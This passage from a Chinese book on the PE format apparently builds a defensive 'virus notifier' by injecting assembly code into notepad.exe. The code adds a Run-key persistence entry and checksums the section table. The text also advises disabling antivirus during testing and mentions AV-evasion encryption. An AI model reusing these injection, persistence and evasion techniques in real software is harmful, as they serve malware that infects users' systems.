    {"text": "第22章 PE病毒提示器 第22章 PE病毒提示器 本章将探讨PE病毒提示器的编写技术。 本章采用两种方式开发PE病毒提示器：一种是程序加手工的半自动化方法，另一种是全补丁的自动化方法。 声明 该PE病毒提示器不具备病毒预警功能，也无法阻止PE病毒的入侵，只是对PE病毒起到提示作用，让用户知道当前电脑的安全状况。 22.1 基本思路 PE病毒指Windows操作系统下，以PE文件为感染目标的病毒，有时也称为Win32病毒，属于文件型病毒的一种。 扩展阅读 什么是文件型病毒 所有通过操作系统的文件进行感染的病毒都称为文件型病毒。其主要目标是操作系统中的可执行文件，但不排除其他类型的文件，如宏病毒感染的就是OFFICE系列文件。这些可执行文件主要是以扩展名为\".com\"、\".exe\"结尾的文件。本章所描述的文件型病毒专指以\".exe\"为结尾的PE文件。 打造该病毒提示器的总体思路为：首先，将某个系统PE文件（志愿者）作为这次打造生成病毒提示器的源，给该志愿者打补丁；然后，通过分析嵌入到志愿者文件中的补丁代码，实现对入侵PE病毒的检测与提示。 首先了解一下志愿者的选择条件。 22.1.1 志愿者的选择条件 志愿者即感染病毒的对象。大部分感染PE文件的病毒在传染时，都会对目标文件的大小进行检测。通常小于某一个值时不去感染，因为这种文件有好多是病毒分析者设置的“蜜罐”，可以通过这种方法很容易获得嵌入到蜜罐里的病毒代码，从而制定有效的杀毒方案。所以，确定志愿者时，一定要选择一个文件相对较大的程序。例如，本章选择采用系统的记事本程序notepad.exe，它在Windows 2000下的标准大小为50960，在Windows XP SP3下的标准大小为66560。 此外，文件型病毒入侵以后，大部分都会感染硬盘上的可执行文件。如果病毒无限制地感染磁盘文件，势必会导致硬盘指示灯不停闪烁，造成CPU占用时间过高。这种外在的表现会被细心的用户发现病毒的威胁。因此，现在大部分文件型病毒在感染时都采取一定的策略。比如，挟持运行程序的函数，当程序运行时才感染；或者有阶段、有步骤地对系统目录、程序文件夹等进行小批量的感染操作，这样，用户从表面上是很难发觉病毒的。 本章打造的病毒提示器正好运用病毒感染的这个原理，选择系统自带的文件（记事本程序notepad.exe）作为志愿者，并从以下两方面积极地拉近与病毒之间的物理距离： 将自己放到系统文件夹中，即%WINDIR%。 将自己添加到注册表项中，每次开机都运行一遍。 这样做的目的就是让自己充分暴露给病毒，告诉病毒：你来的时候一定通知我哦！ 22.1.2 判断病毒感染的原理 22.1.2 判断病毒感染的原理 绝大多数情况下，病毒提示器一旦被病毒感染，其文件头就会发生相应的变化（文件头部的数据结构包括DOS MZ HEADER、DOS STUB、IMAGE_FILE_HEADER、IMAGE_OPTIONAL_HEADER、IMAGE_SECTION_HEADER），文件头部的数据结构IMAGE_SECTION_HEADER记录了PE文件中存在的每个节的相关统计信息。如果病毒文件修改了文件头部，或者修改了节区内容，那么通过对文件头部数据的分析就能得出PE文件是否被修改的结论。一旦发现文件被修改，程序会发给用户一个友好的提示，告诉他可能有病毒入侵。 扩展阅读 如何实现自我修复功能 通过对本章应用的扩展，也可以实现PE文件感染病毒后的自身修复功能。因为文件型病毒要获得执行控制权，首先要劫持目标入口地址或入口代码，目前，常见的文件型病毒，要么修改头部字段IMAGE_OPTIONAL_HEADER32.AddressOfEntryPoint，要么修改该地址指向的指令字节码。所以，只要将这两部分内容和这两部分内容的校验码保存到补丁程序里，当发现PE被修改的时候，提示用户，并重新修正该地址的值，便能达到自我修复的目的。"},
    {"text": "22.2 手工打造PE病毒提示器 22.2 手工打造PE病毒提示器 清楚了编程思路以及原理之后，我们首先通过半自动化的过程开发PE病毒提示器。 本补丁实例的目标是特定的PE文件——记事本。在程序设计部分先不使用嵌入补丁框架，目的是学习在补丁代码中如何使用目标程序导入表中提供的现有函数。 22.2.1 编程思路 补丁程序的设计大致分为以下三步： 步骤1 获取函数地址。要获取地址的函数在记事本原始的导入表中并不存在，必须通过调用LoadLibraryA加载相应的动态链接库，然后调用GetProcAddress获取这些函数的入口地址。这些函数包括： -------------------设置注册表相关----------------------------- RegCreateKeyA(以下函数在advapi.dll中，所以应该先加载该链接库) RegSetValueExA ------------------------显示病毒提示相关---------------------- MessageBoxA(该函数在user32.dll中，所以应该先加载该链接库) ------------------------文件相关---------------------- CreateFileA(以下函数在kernel32.dll中) GetFileSize CreateFileMappingA DeleteFileA GetWindowsDirectoryA GetModuleFileNameA CopyFileA 步骤2 在注册表的以下位置增加新项，名称为note，类型为REG_SZ，值为virNote.exe。 HKEY_LOCAL_MACHINE\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN 加入启动项的目的是每次开机都会运行这个补丁后的记事本程序virNote.exe，以便随时监测机器是否被文件型病毒感染。 步骤3 定位到该文件的头部，生成节表的校验值，并与virNote.exe文件头部4ch偏移处存放的值进行比较。如果一致，则表示文件没有被修改过，退出不显示提示；否则显示病毒入侵的提示信息。下面对目标文件进行简单分析。 22.2.2 分析目标文件的导入表 22.2.2 分析目标文件的导入表 兵法有云：“知己知彼，百战不殆”，下面将使用PEInfo小工具对目标文件（notepad.exe）的导入表进行分析，查看它使用了哪些动态链接库的哪些函数，以便确定补丁代码中是否可以直接使用这些函数。 PEInfo小工具对notepad.exe导入表的分析结果显示如下： 从以上所列内容（加黑部分）可以看出，记事本程序中使用了kernel32.dll中的两个最重要的函数：LoadLibraryA和GetProcAddress。 这对编写补丁代码来说是幸运的，因为使用这两个函数，其他任何动态链接库的任何函数地址都可以轻而易举地得到。这样，就免去了获取kernel32.dll基地址，以及通过其导出表获取这两个函数的工作。除此之外，记事本程序的原始导入表中还包含了补丁程序中要调用的几个函数： RegCloseKey MapViewOfFile UnmapViewOfFile CloseHandle 补丁代码调用以上这些函数的位置，可以直接使用invoke指令和原始函数名，无需再对这些函数的地址进行获取操作。下面来看补丁程序的源代码。"},
    {"text": "22.2.3 补丁程序的源代码 22.2.3 补丁程序的源代码 本实例的补丁代码将实现以下几项功能： 1）在注册表启动项中加入补丁后的记事本程序virNote.exe。"},
    {"text": "代码清单22-1 文件型病毒提示器补丁程序（chapter22\\virWarn.asm） 1 ;------------------------ 2 ;功能：文件型病毒提示器 3 ;关键代码将嵌入到notepad.exe文件节的间隙中 4 ;作者：戚利 5 ;开发日期：2010.7.1 6 ;------------------------ 7 .386 8 .model flat,stdcall 9 option casemap:none 10 11 include windows.inc 12 include kernel32.inc 13 includelib kernel32.lib 14 include ADVAPI32.inc 15 includelib ADVAPI32.lib 16 17 18 19 .code 20 _ProtoRegCreateKey typedef proto :dword,:dword,:dword 21 _ProtoRegSetValueEx typedef proto :dword,:dword,:dword,:dword,:dword,:dword 22 _ProtoMessageBox typedef proto :dword,:dword,:dword,:dword 23 _ProtoGetWindowsDirectory typedef proto :dword,:dword 24 _ProtoGetModuleFileName typedef proto :dword,:dword,:dword 25 _ProtoCopyFile typedef proto :dword,:dword,:dword 26 _ProtoCreateFile typedef proto :dword,:dword,:dword,:dword,:dword,:dword,:dword 27 _ProtoGetFileSize typedef proto :dword,:dword 28 _ProtoCreateFileMapping typedef proto :dword,:dword,:dword,:dword,:dword,:dword 29 _ProtoDeleteFile typedef proto :dword 30 31 32 _ApiRegCreateKey typedef ptr _ProtoRegCreateKey 33 _ApiRegSetValueEx typedef ptr _ProtoRegSetValueEx 34 _ApiMessageBox typedef ptr _ProtoMessageBox 35 _ApiGetWindowsDirectory typedef ptr _ProtoGetWindowsDirectory 36 _ApiGetModuleFileName typedef ptr _ProtoGetModuleFileName 37 _ApiCopyFile typedef ptr _ProtoCopyFile 38 _ApiCreateFile typedef ptr _ProtoCreateFile 39 _ApiGetFileSize typedef ptr _ProtoGetFileSize 40 _ApiCreateFileMapping typedef ptr _ProtoCreateFileMapping 41 _ApiDeleteFile typedef ptr _ProtoDeleteFile 42 43 44 lpszKey db 'SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\Run',0 45 lpszValueName db 'note',0 46 lpszValue db 'virNote.exe',0 47 hKey dd ? 48 hFile dd ? 49 hMapFile dd ? 50 lpMemory dd ? ;内存中文件指针 51 52 hDllADVAPI32 dd ? ;存放advapi32.dll句柄 53 hDllUser32 dd ? ;存放user32.dll句柄 54 hDllKernel32 dd ? ;存放kernel32.dll句柄 55 56 57 @destFile db 50h dup(0) 58 szBuffer db 50h dup(0) 59 dwFileSize dd ? ;存放文件大小 60 _dwSize dd ? 61 62 _RegCreateKey _ApiRegCreateKey ? 63 _RegSetValueEx _ApiRegSetValueEx ? 64 _MessageBox _ApiMessageBox ? 65 _GetWindowsDirectory _ApiGetWindowsDirectory ? 66 _GetModuleFileName _ApiGetModuleFileName ? 67 _CopyFile _ApiCopyFile ? 68 _CreateFile _ApiCreateFile ? 69 _GetFileSize _ApiGetFileSize ? 70 _CreateFileMapping _ApiCreateFileMapping ? 71 _DeleteFile _ApiDeleteFile ? 72 73 74 szADVAPI32 db 'ADVAPI32.dll',0 75 szUser32 db 'USER32.dll',0 76 szKernel32 db 'KERNEL32.dll',0 77 szRegCreateKey db 'RegCreateKeyA',0 ;该方法在ADVAPI32.dll中 78 szRegSetValueEx db 'RegSetValueExA',0 ;该方法在ADVAPI32.dll中 79 szMessageBox db 'MessageBoxA',0 ;该方法在USER32.dll中 80 szGetWindowsDirectory db 'GetWindowsDirectoryA',0 ;以下方法在KERNEL32.dll中 81 szGetModuleFileName db 'GetModuleFileNameA',0 82 szCopyFile db 'CopyFileA',0 83 szCreateFile db 'CreateFileA',0 84 szGetFileSize db 'GetFileSize',0 85 szCreateFileMapping db 'CreateFileMappingA',0 86 szDeleteFile db 'DeleteFileA',0 87 88 lpszTitle db '文件病毒提示器-by qixiaorui',0 89 lpszMessage db '请注意！"},
    {"text": "',0 90 lpszNewName db '\\virNote _Bak.exe',0 91 92 93 start: 94 call @F 95 @@: 96 pop ebp 97 sub ebp,offset @B 98 99 ;首先获取ADVAPI32.dll、kernel32.dll和user32.dll的基地址 100 101 lea eax,[ebp+szADVAPI32] 102 push eax 103 call LoadLibrary ;！ 需要修正 104 mov [ebp+hDllADVAPI32],eax ┇ 115 116 ;获得几个函数的内存地址 117 lea eax,[ebp+szRegCreateKey] 118 push eax 119 mov eax,[ebp+hDllADVAPI32] 120 push eax 121 call GetProcAddress ;！ 需要修正 122 mov [ebp+_RegCreateKey],eax ┇ 180 lea eax,[ebp+szDeleteFile] 181 push eax 182 mov eax,[ebp+hDllKernel32] 183 push eax 184 call GetProcAddress ;！ 需要修正 185 mov [ebp+_DeleteFile],eax 186 187 188 ;将值写入注册表 189 lea eax,[ebp+hKey] 190 push eax 191 lea eax,[ebp+lpszKey] 192 push eax 193 push HKEY_LOCAL_MACHINE 194 call [ebp+_RegCreateKey] 195 mov eax,0Ch 196 push eax 197 lea eax,[ebp+lpszValue] 198 push eax 199 mov eax,REG_SZ 200 push eax 201 xor eax,eax 202 push eax 203 lea eax,[ebp+lpszValueName] 204 push eax 205 mov eax,[ebp+hKey] 206 push eax 207 call [ebp+_RegSetValueEx] 208 mov eax,[ebp+hKey] 209 push eax 210 call RegCloseKey ;！ 需要修正 211 212 ;获取进程所在的目录 213 mov eax,50h 214 push eax 215 lea eax,[ebp+szBuffer] 216 push eax 217 call [ebp+_GetWindowsDirectory] 218 219 mov esi,0 220 mov edi,0 221 .while TRUE 222 mov al,byte ptr [ebp+szBuffer+esi] 223 .break.if al == 0 224 mov byte ptr [ebp+@destFile+edi],al 225 inc esi 226 inc edi 227 .endw 228 mov esi,0 229 .while TRUE 230 mov al,byte ptr [ebp+lpszNewName+esi] 231 .break.if al == 0 232 mov byte ptr [ebp+@destFile+edi],al 233 inc esi 234 inc edi 235 .endw 236 mov byte ptr [ebp+@destFile+edi],0 237 238 ;获取当前运行程序的完整路径C:\\windows\\virNote.exe 239 mov eax,50h 240 push eax 241 lea eax,[ebp+szBuffer] 242 push eax 243 xor eax,eax 244 push eax 245 call [ebp+_GetModuleFileName] 246 247 ;将当前程序运行文件szBuffer复制到系统目录@destFile 248 mov eax,FALSE 249 push eax 250 lea eax,[ebp+@destFile] 251 push eax 252 lea eax,[ebp+szBuffer] 253 push eax 254 call [ebp+_CopyFile] 255 256 ;打开命名后的新文件@destFile 257 push NULL 258 mov eax,FILE_ATTRIBUTE_ARCHIVE 259 push eax 260 mov eax,OPEN_EXISTING 261 push eax 262 push NULL 263 mov eax,FILE_SHARE_READ or FILE_SHARE_WRITE 264 push eax 265 mov eax,GENERIC_READ 266 push eax 267 lea eax,[ebp+@destFile] 268 push eax 269 call [ebp+_CreateFile] 270 271 mov [ebp+hFile],eax ;将文件句柄送入相应变量 272 273 push NULL 274 push eax 275 call [ebp+_GetFileSize] 276 mov [ebp+dwFileSize],eax 277 278 ;建立内存映射 279 xor eax,eax 280 push eax 281 push eax 282 push eax 283 mov eax,PAGE_READONLY 284 push eax 285 xor eax,eax 286 push eax 287 mov eax,[ebp+hFile] 288 push eax 289 call [ebp+_CreateFileMapping] 290 mov [ebp+hMapFile],eax 291 292 ;将文件映射到内存 293 xor eax,eax 294 push eax 295 push eax 296 push eax 297 mov eax,FILE_MAP_READ 298 push eax 299 mov eax,[ebp+hMapFile] 300 push eax 301 call MapViewOfFile ;！ 需要修正 302 mov [ebp+lpMemory],eax ;获取文件在内存映像的起始位置 303 304 mov esi,[ebp+lpMemory] 305 add esi,3ch 306 mov esi,dword ptr [esi] 307 add esi,[ebp+lpMemory] 308 push esi 309 pop edi ;esi和edi都指向PE头 310 311 movzx ecx,word ptr [esi+6h] ;获取节的数量 312 mov eax,sizeof IMAGE_NT_HEADERS 313 add edi,eax ;edi指向节表 314 315 ;计算节表数据的总长度 316 mov eax,sizeof IMAGE_SECTION_HEADER 317 xor edx,edx 318 mul ecx 319 xchg eax,ecx ;ecx中为节表数据的总长度 320 321 ;计算从edi指向的ecx个长度的字节的校验和 322 _calcCheckSum: 323 324 mov [ebp+_dwSize],ecx 325 push esi 326 shr ecx,1 327 xor ebx,ebx 328 mov esi,edi 329 330 cld 331 @@: 332 lodsw 333 movzx eax,ax 334 add ebx,eax 335 loop @B 336 test [ebp+_dwSize],1 337 jz @F 338 lodsb 339 movzx eax,al 340 add ebx,eax 341 @@: 342 mov eax,ebx 343 and eax,0ffffh 344 shr ebx,16 345 add eax,ebx 346 not ax 347 pop esi 348 349 350 mov bx,word ptr [esi+4ch] ;此处存放着原始的校验和 351 sub ax,bx 352 jz _ret 353 354 ;显示提示信息 355 xor eax,eax 356 push eax 357 lea eax,[ebp+lpszTitle] 358 push eax 359 lea eax,[ebp+lpszMessage] 360 push eax 361 push NULL 362 call [ebp+_MessageBox] 363 364 _ret: 365 ;关闭文件 366 mov eax,[ebp+lpMemory] 367 push eax 368 call UnmapViewOfFile ;！ 需要修正 369 370 mov eax,[ebp+hMapFile] 371 push eax 372 call CloseHandle ;！ 需要修正 373 374 mov eax,[ebp+hFile] 375 push eax 376 call CloseHandle ;！ 需要修正 377 378 ;删除文件 379 lea eax,[ebp+@destFile] 380 push eax 381 call [ebp+_DeleteFile] 382 383 ret 384 ;此处已无用，不需要程序，可存放数据 385 mov eax,12345678h 386 org $-4 387 OldEIP dd 00001000h 388 add eax,12345678h 389 org $-4 390 ModBase dd 00400000h 391 jmp eax 392 end start 以上代码使用了重定位技术和动态加载技术。"},
    {"text": "行247～254将virNote.exe的字节码复制到指定的临时文件virNote _Bak.exe中。 行256～302打开virNote _Bak.exe并将其映射为内存文件。 行304～347计算virNote _Bak.exe节表的校验和。 因为virNote _Bak.exe复制自当前进程virNote.exe，所以，无论此时电脑是否已感染PE文件病毒，该校验和都是针对virNote.exe最新的。"},
    {"text": "如果还是原来的校验和，表示进程未被感染，则断定电脑暂时没有PE病毒，跳转到记事本原始入口地址运行； 如果两者不一致，则表示有人或者程序更改了打过补丁的记事本程序的节表，显示病毒入侵提示，直接退出，不再运行记事本程序。"},
    {"text": "此处使用了当前指令地址$减去某个数的方式将后续的字节码提前，这部分代码等价于以下代码： mov eax,OldEIP add eax,ModBase jmp eax 由于有些位置的代码复用了记事本导入表中存在的函数，所以这些位置标示出的函数地址必须得到修正。"},
    {"text": "22.2.4 补丁程序的字节码 22.2.4 补丁程序的字节码 补丁程序的字节码如下： 以上所示为补丁字节码的代码段内容。显示的所有字节码共需要空间大小为05B9h个字节，而记事本程序的.rsrc节一共有0C700-0B800=0F00个字节的剩余空间可以使用，所以，基本确定补丁代码可以嵌入到记事本程序的.rsrc节中。 注意 补丁字节码加框部分为补丁代码开始处，而下划线部分则是代码中需要修正的地址。 22.2.5 修正函数地址 22.2.5 修正函数地址 由于在补丁程序中复用了记事本程序导入表中已存在的几个函数，补丁后的代码地址必须予以修正。从反汇编代码中获得这几个需要修正的地址如表22-1所示。 表中3～8项是在notepad.exe导入表中存在的API函数，这些函数也被补丁代码直接使用。那么它们的地址该如何计算呢？以函数RegCloseKey为例，计算其VA的具体步骤如下： 步骤1 从notepad.exe导入表中得到该函数的导入部分描述。 具体描述如下所示： 步骤2 计算该函数的RVA。 如上所示，FirstThunk指向了该块的RVA，而下面的每个引入API函数则是以4个字节（dword）对齐的，因此： RegCloseKey的RVA=FirstThunk+（序号-1）*4=00001000h+（7-1）*4=00001018h 步骤3 计算该函数的VA。 将第2步计算得出的RVA加上基地址01000000h就是函数的入口地址VA了，所以： RegCloseKey的VA=01000000+00001018=01001018h 表22-1中标示的其他函数也采用这样的运算方法。将计算好的所有地址进行更正，更正以后的字节码如下： 接下来，使用FlexHex手工对notepad.exe执行如下操作： 步骤1 文件偏移244h处将.rsrc节的属性更改为0e0000040h（也就是将节标记为可读/可写/可执行）。 步骤2 文件偏移100h处修改新的入口地址为0a000h+（0B800-7200h）+248h=0E848h。 步骤3 将修正以后的5B9h个字节码覆盖到文件0B800h开始的地方。 步骤4 算出文件节表的校验和为0AF16h（virNote的为74ddh），将其填入文件偏移124h（virNote的为104h，即PE头开始的4ch）处。注意，校验和为一个字。 执行到这里，文件型病毒提示器就完成了，将该提示器改个名字（例如virNote.exe）并复制到操作系统的系统目录下，然后进行以下测试。 22.2.6 测试运行 22.2.6 测试运行 模拟病毒手动修改经过改造的notepad.exe的节表，使virNote.exe的节表发生变化。例如，在文件偏移0x01d5处（.text节的名称处）将00h修改为30h，然后保存。重新运行virNote.exe程序，发现文件型病毒提示器的对话框接着就弹出来了，弹出对话框如图22-1所示。 图 22-1 被感染后的提示框 将virNote.exe复制到Windows操作系统的系统目录下（如C:\\windows），先运行一次，系统将不会有任何提示，但注册表的启动项中将会增加一个note项。正常情况下，每次开机都会运行virNote.exe程序，因为该程序的节表未被修改或破坏，校验和不变；也就是说，它与存储在文件头部4ch偏移处的原始校验和是一致的，所以并不会出现任何提示。一旦virNote.exe被文件型病毒感染了，它就会弹出对话框提醒用户，该电脑已经被文件型病毒感染了。 22.3 补丁版的PE病毒提示器 22.3 补丁版的PE病毒提示器 上一节使用半自动化的补丁程序，通过手工修改实现了PE病毒提示器。本节将使用全自动化的方法实现该病毒提示器。 通过对志愿者打补丁的方法来实现入侵病毒提示的功能。 补丁程序必须具备以下两个功能：第一，将补丁程序本身写入系统启动项；第二，能够检测特定位置的校验和是否被修改。下面分别介绍这两部分代码的编写。 22.3.1 将提示器写入启动项 为了能实现每次开机运行该提示器，以增加被感染的几率，补丁代码需要将补丁后的目标程序写入注册表的启动位置。 注册表启动位置：SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\Run 新添加键：note 新添加键的键值：virNote.exe 由于键值中没有带路径，所以补丁代码还必须将病毒提示器复制到默认系统搜索路径中，比如Windows系统目录。以下是将提示器写入启动项的相关代码： ;将值写入注册表 lea eax,[ebx+hKey] push eax lea eax,[ebx+lpszKey] push eax push HKEY_LOCAL_MACHINE call [ebx+_RegCreateKey] mov eax,0Ch push eax lea eax,[ebx+lpszValue] push eax mov eax,REG_SZ push eax xor eax,eax push eax lea eax,[ebx+lpszValueName] push eax mov eax,[ebx+hKey] push eax call [ebx+_RegSetValueEx] mov eax,[ebx+hKey] push eax call [ebx+_RegCloseKey] 代码首先调用函数RegCreateKey创建键，然后使用RegSetValueEx设置键的值，最后调用函数RegCloseKey关闭新创建的键。"},
    {"text": "代码清单22-2 补丁程序校验和检测函数_doCheck（chapter22\\patch.asm） 1 ;---------------------------- 2 ;将当前文件复制到系统目录，并写入注册表 3 ;返回0表示未被病毒感染 4 ;1表示已经被病毒感染 5 ;---------------------------- 6 _doCheck proc _base 7 local @ret 8 pushad 9 mov ebx,_base 10 11 ;将值写入注册表 ┇ 34 35 ;获取系统所在目录 36 mov eax,50h 37 push eax 38 lea eax,[ebx+szBuffer] 39 push eax 40 call [ebx+_GetWindowsDirectory] 41 42 mov esi,0 ;构造目标文件绝对路径=目录名+\"\\virNote _Bak.exe\" 43 mov edi,0 44 .while TRUE 45 mov al,byte ptr [ebx+szBuffer+esi] 46 .break.if al == 0 47 mov byte ptr [ebx+@destFile+edi],al 48 inc esi 49 inc edi 50 .endw 51 mov esi,0 52 .while TRUE 53 mov al,byte ptr [ebx+lpszNewName+esi] 54 .break.if al == 0 55 mov byte ptr [ebx+@destFile+edi],al 56 inc esi 57 inc edi 58 .endw 59 ;@destFile中存放了目标文件的绝对路径 60 mov byte ptr [ebx+@destFile+edi],0 61 62 ;取当前程序运行路径C:\\windows\\virNote.exe 63 mov eax,50h 64 push eax 65 lea eax,[ebx+szBuffer] 66 push eax 67 xor eax,eax 68 push eax 69 call [ebx+_GetModuleFileName] 70 71 ;将当前程序运行文件szBuffer复制到系统目录@destFile 72 mov eax,FALSE 73 push eax 74 lea eax,[ebx+@destFile] 75 push eax 76 lea eax,[ebx+szBuffer] 77 push eax 78 call [ebx+_CopyFile] 79 80 ;打开命名后的新文件@destFile 81 push NULL 82 mov eax,FILE_ATTRIBUTE_ARCHIVE 83 push eax 84 mov eax,OPEN_EXISTING 85 push eax 86 push NULL 87 mov eax,FILE_SHARE_READ or FILE_SHARE_WRITE 88 push eax 89 mov eax,GENERIC_READ 90 push eax 91 lea eax,[ebx+@destFile] 92 push eax 93 call [ebx+_CreateFile] 94 95 mov [ebx+hFile],eax ;将文件句柄送入相应变量 96 97 push NULL 98 push eax 99 call [ebx+_GetFileSize] 100 mov [ebx+dwFileSize],eax 101 102 ;建立内存映射 103 xor eax,eax 104 push eax 105 push eax 106 push eax 107 mov eax,PAGE_READONLY 108 push eax 109 xor eax,eax 110 push eax 111 mov eax,[ebx+hFile] 112 push eax 113 call [ebx+_CreateFileMapping] 114 mov [ebx+hMapFile],eax 115 116 ;将文件映射到内存 117 xor eax,eax 118 push eax 119 push eax 120 push eax 121 mov eax,FILE_MAP_READ 122 push eax 123 mov eax,[ebx+hMapFile] 124 push eax 125 call [ebx+_MapViewOfFile] 126 ;获取文件在内存映像的起始位置 127 mov [ebx+lpMemory],eax 128 129 mov esi,[ebx+lpMemory] 130 add esi,3ch 131 mov esi,dword ptr [esi] 132 add esi,[ebx+lpMemory] 133 push esi 134 pop edi ;esi和edi都指向PE头 135 136 movzx ecx,word ptr [esi+6h] ;获取节的数量 137 mov eax,sizeof IMAGE_NT_HEADERS 138 add edi,eax ;edi指向节表 139 140 ;计算节表数据的总长度 141 mov eax,sizeof IMAGE_SECTION_HEADER 142 xor edx,edx 143 mul ecx 144 xchg eax,ecx ;ecx中为节表数据的总长度 145 146 ;计算从edi指向的ecx个长度字节的校验和0F34Bh 147 _calcCheckSum: 148 149 mov [ebx+_dwSize],ecx 150 push esi 151 shr ecx,1 152 xor edx,edx 153 mov esi,edi 154 155 cld 156 @@: 157 lodsw 158 movzx eax,ax 159 add edx,eax 160 loop @B 161 test [ebx+_dwSize],1 162 jz @F 163 lodsb 164 movzx eax,al 165 add edx,eax 166 @@: 167 mov eax,edx 168 and eax,0ffffh 169 shr edx,16 170 add eax,edx 171 not ax 172 pop esi ;到此为止，ax中存放了新的校验和 173 174 175 mov dx,word ptr [esi+4ch] ;此处存放着原始的校验和 176 sub ax,dx 177 jz _ret ;校验和一致，表示未被修改 178 179 ;如果不一致，则显示提示信息 180 xor eax,eax 181 push eax 182 lea eax,[ebx+lpszTitle] 183 push eax 184 lea eax,[ebx+lpszMessage] 185 push eax 186 push NULL 187 call [ebx+_MessageBox] 188 mov @ret,1 189 jmp _ret1 190 _ret: 191 mov @ret,0 192 _ret1: 193 ;关闭文件 194 mov eax,[ebx+lpMemory] 195 push eax 196 call [ebx+_UnmapViewOfFile] 197 198 mov eax,[ebx+hMapFile] 199 push eax 200 call [ebx+_CloseHandle] 201 202 mov eax,[ebx+hFile] 203 push eax 204 call [ebx+_CloseHandle] 205 206 ;删除临时文件 207 lea eax,[ebx+@destFile] 208 push eax 209 call [ebx+_DeleteFile] 210 popad 211 mov eax,@ret 212 ret 213 _doCheck endp 以上代码与22.2.3节介绍的代码基本一致，不同之处是对记事本程序导入表中已经存在的函数的处理：为了免去手工操作，即对记事本程序导入表中已经存在的函数的地址修正，在代码中对这些函数全部采用动态加载技术。"},
    {"text": "22.3.3 测试运行 22.3.3 测试运行 使用第17章的补丁工具为记事本打补丁。因为节表的校验和还没有写入特定位置，所以，第一次运行生成的bindD.exe弹出了对话框提示。在病毒提示器正式工作之前，需要手动将校验和写入其文件头部开始的4ch处。 校验和是通过OD的单步调试过程获得的，图22-2是获得校验和时的OD运行界面图： 图 22-2 获得校验和时的程序运行状态 如图所示，esi指向的数据区刚好是PE文件头的PE标志，从这个地方开始往下找4ch偏移，读出的字为0000。而当前EIP所处的位置刚好是动态获取到的校验和与该处值相减的指令，此时，指示eax的值为0F34BH。这个值就是bindD.exe的节数据的校验和。 获取该校验和后，将该值写入PE文件头的PE标志开始的4ch偏移处，作为记事本程序原始的校验和。 依次生成补丁程序patch.exe，补丁工具程序bind.exe（取自第17章生成的补丁工具）。用bind.exe对notepad.exe打补丁，最终生成patch _notepad.exe。 第一次运行patch _notepad.exe，因为校验和未写入，所以会显示病毒提示，该提示是不真实的。将校验和0F34Bh手动写入patch _notepad.exe文件PE头部4ch处，并更改文件名为virNote.exe。再次运行virNote.exe时不会有任何提示，至此，PE病毒提示器完成。 将virNote.exe复制到C:\\windows目录中，PE病毒提示器就处于工作状态了。 注意 在测试时不要把防病毒软件打开，因为用这种方法生成的virNote.exe会被杀毒软件误认为是病毒而被拦截。例如，杀毒软件360是这样记录这个文件的： 你也可以参考本书第21章介绍的免杀技术，将virNote.exe实施加密，就不会出现这样的提示了。 假设PE文件病毒侵犯了我们的电脑，提示器会再次弹出提示窗口，此时虽无法杜绝病毒的运行，但可以明确提醒：您的电脑已经受到PE病毒的攻击了。如果想测试该提示器的运行效果，可以找到virNote.exe，将特定位置的校验和修改一下，或者把节表中的任何一处进行修改，都能达到测试目的。例如，以下是修改节.text名称的字节码： 如上所示，将节.text更名为.textE后，即可引发病毒提示器，并且显示提示信息。 22.4 小结 22.4 小结 本章采用两种开发方式实现了PE病毒提示器，该程序可以在电脑感染PE病毒后提醒用户注意。原理是在PE文件头部存储一个节表信息校验和，由补丁程序计算当前校验和，并与存储的校验和进行对比，以判断文件是否被修改。由于本提示器是在病毒执行以后再执行，所以它不具备病毒的预警功能，只具备提示功能。 大家也可以扩展本章的程序，使用补丁对PE文件进行自修复。当发现电脑被病毒感染时，重新修复入口地址和代码段的起始N个字节，并提醒用户。"},
    {"text": "第23章 破解PE病毒 第23章 破解PE病毒 兵家言“知己知彼，百战不殆”，杀毒亦是如此。要想更好地查杀PE病毒，我们有必要了解PE病毒的实现方法。在开始学习本章的内容之前，有一点要敬告大家：本章的内容是为了让大家能更好地查杀PE病毒，切勿使用该技术实施破坏或做违法的事情，否则后果自负。 本章讨论的这种PE病毒也是一个补丁程序，当它的宿主程序运行后就开始实施传播和模拟破坏行为。 目前，常见的杀毒软件对PE病毒的处理方法都很简单，大部分不能还原文件，而是直接删除，用户别无选择，只能是重新安装受感染的程序。 PE病毒比直接在内存中感染，或通过加载启动项加载的病毒还要难以清除。原因是其感染范围大，无论是系统盘还是非系统盘，无论是硬盘还是U盘，都有可能存在被感染的文件，杀之不竭，防不胜防。有些用户即使重新安装了操作系统，也常常会因为不小心点击了带病毒的PE文件而重新感染。本章主要研究PE病毒所使用的基本技术特征，以及解毒方法。 敬告 讨论这部分的主要目的是为了学习，请勿使用该技术实施破坏或做违法的事情。 23.1 病毒保护技术 PE病毒和计算机中的其他病毒一样，具备三大基本特性，即破坏性、可传播性和隐蔽性。PE病毒中使用的技术比较复杂，往往会让自动查杀工具陷入病毒设计的代码陷阱中，导致杀毒软件工作不正常或完全失效。 本节以“愤怒天使”病毒为例，从编程角度来了解一下病毒普遍使用的保护技术。 扩展阅读 愤怒天使病毒 病毒名称：Win32.Angel.xx（xx根据实际情况会有不同，记录愤怒天使病毒的版本信息） 别名：愤怒天使 威胁级别：★☆☆☆☆ 病毒类型：感染型 长度：16074 影响系统:Win9x\\WinMe\\WinNT\\Win2000\\WinXP\\Win2003 该病毒会感染计算机系统中的可执行文件，并且试图让受感染的计算机系统主动链接下载网络中指定服务器上的病毒、木马等恶意程序。 病毒运行后，将病毒文件ServerX.exe复制到受感染计算机系统的系统目录下，并将其属性设置成“系统隐藏”，导致计算机用户无法发现并删除。病毒还会修改受感染系统的注册表启动项，以便随系统启动而自动运行。同时，病毒会不断地监控注册表有关键值项，如发现自身添加的启动项被删除，就会立即将其恢复。 病毒会搜索系统中所有磁盘分区中的可执行文件，将其感染。受到感染的可执行文件大小会变大，占用磁盘空间会增大，并且无法正常使用。另外，在病毒感染可执行文件的这个过程中，病毒会给每个受感染的文件做标记，以避免文件被重复感染。 病毒为了能寄生到其他可执行程序中，使用了动态加载技术、静态补丁技术、重定位技术等，这些技术在前面已经接触到了。下面主要来了解病毒为了对付杀毒软件的查杀以及动态调试软件的跟踪调试等使用的一些自我保护的手段和技术。 23.1.1 花指令 花指令（Junk 